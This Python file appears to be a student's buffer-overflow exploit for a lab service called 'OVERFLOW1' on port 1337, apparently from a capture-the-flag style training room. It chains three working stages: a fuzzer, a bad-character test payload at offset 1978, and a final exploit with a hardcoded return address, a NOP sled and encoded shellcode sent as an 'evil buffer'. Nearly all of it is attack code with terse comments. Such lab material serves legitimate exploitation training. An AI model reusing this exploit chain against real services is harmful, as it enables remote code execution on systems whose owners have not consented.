#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.142.100"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

#update the offset with value
#inserting the badcharecter inside payload
#now retn will be four B's at retn value 

import socket

ip = "10.10.202.172"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = "" 
payload =  "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
#BADCHAR ARE \x00\x07\x0\x2e\xa0 

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

import socket

ip = "10.10.202.172"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn =  "\xaf\x11\x50\x62" #625011AF
padding = "\x90" * 16 
payload =("\xd9\xcf\xb8\x3d\xc6\x1c\xb8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x52\x83\xee\xfc\x31\x46\x13\x03\x7b\xd5\xfe\x4d\x7f\x31\x7c"
"\xad\x7f\xc2\xe1\x27\x9a\xf3\x21\x53\xef\xa4\x91\x17\xbd\x48"
"\x59\x75\x55\xda\x2f\x52\x5a\x6b\x85\x84\x55\x6c\xb6\xf5\xf4"
"\xee\xc5\x29\xd6\xcf\x05\x3c\x17\x17\x7b\xcd\x45\xc0\xf7\x60"
"\x79\x65\x4d\xb9\xf2\x35\x43\xb9\xe7\x8e\x62\xe8\xb6\x85\x3c"
"\x2a\x39\x49\x35\x63\x21\x8e\x70\x3d\xda\x64\x0e\xbc\x0a\xb5"
"\xef\x13\x73\x79\x02\x6d\xb4\xbe\xfd\x18\xcc\xbc\x80\x1a\x0b"
"\xbe\x5e\xae\x8f\x18\x14\x08\x6b\x98\xf9\xcf\xf8\x96\xb6\x84"
"\xa6\xba\x49\x48\xdd\xc7\xc2\x6f\x31\x4e\x90\x4b\x95\x0a\x42"
"\xf5\x8c\xf6\x25\x0a\xce\x58\x99\xae\x85\x75\xce\xc2\xc4\x11"
"\x23\xef\xf6\xe1\x2b\x78\x85\xd3\xf4\xd2\x01\x58\x7c\xfd\xd6"
"\x9f\x57\xb9\x48\x5e\x58\xba\x41\xa5\x0c\xea\xf9\x0c\x2d\x61"
"\xf9\xb1\xf8\x26\xa9\x1d\x53\x87\x19\xde\x03\x6f\x73\xd1\x7c"
"\x8f\x7c\x3b\x15\x3a\x87\xac\x10\xb2\x4d\x7f\x4d\xc6\x51\x95"
"\x3e\x4f\xb7\xff\x50\x06\x60\x68\xc8\x03\xfa\x09\x15\x9e\x87"
"\x0a\x9d\x2d\x78\xc4\x56\x5b\x6a\xb1\x96\x16\xd0\x14\xa8\x8c"
"\x7c\xfa\x3b\x4b\x7c\x75\x20\xc4\x2b\xd2\x96\x1d\xb9\xce\x81"
"\xb7\xdf\x12\x57\xff\x5b\xc9\xa4\xfe\x62\x9c\x91\x24\x74\x58"
"\x19\x61\x20\x34\x4c\x3f\x9e\xf2\x26\xf1\x48\xad\x95\x5b\x1c"
"\x28\xd6\x5b\x5a\x35\x33\x2a\x82\x84\xea\x6b\xbd\x29\x7b\x7c"
"\xc6\x57\x1b\x83\x1d\xdc\x3b\x66\xb7\x29\xd4\x3f\x52\x90\xb9"
"\xbf\x89\xd7\xc7\x43\x3b\xa8\x33\x5b\x4e\xad\x78\xdb\xa3\xdf"
"\x11\x8e\xc3\x4c\x11\x9b")

  
#BADCHAR ARE \x00\x07\x0\x2e\xa0 

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")